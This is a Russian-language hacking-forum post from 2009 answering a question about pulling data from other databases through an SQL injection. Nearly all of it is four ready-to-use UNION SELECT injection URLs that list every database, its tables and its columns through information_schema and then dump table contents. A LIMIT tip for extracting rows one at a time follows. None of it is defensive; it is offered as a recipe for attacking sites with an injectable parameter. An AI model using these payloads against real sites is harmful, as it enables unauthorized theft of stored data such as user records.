Показать сообщение отдельно

  #116  
Старый 13.12.2009, 03:00
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

Выложу и сюда, заманали уже просто с такими вопросами:

Цитата:
есть сайт на котором присутствует иньекция, на этом сайте много баз данных.версия sql 5(поддерживает information_schema)

вопрос: как мне спомощью information_schema вывести инфу из других баз? (например я нахожусь в базе "test" а нужны данные из базы "users")
??????????
Узнаем все БД:

http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(schema_name),3,4,5, 6,7,8,9,10+from+information_schema.schemata--

Узнаем таблицы из нужной БД:

http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(table_name),3,4,5,6 ,7,8,9,10+from+information_schema.tables+where+tab le_schema='ИМЯ_БД'--

Узнаем колонки из нужной таблицы из нужной БД:

http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(column_name),3,4,5, 6,7,8,9,10+from+information_schema.columns+where+t able_name='ИМЯ_ТАБЛИЦЫ'+and+table_schema ='ИМЯ_БД'--

Узнаем данные из нужной таблицы из нужной БД:

http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(ИМЯ_КОЛОНК И),3,4,5,6,7,8,9,10+from+ИМЯ_БД.ИМЯ_ТА ЛИЦЫ--

PS: или убрать group_concat и юзать как обычно:

limit+0,1
limit+1,1
......

если было чото такое - удалите плз, поиском по сайту в FAQ-ах вроде нет, а спрашивают часто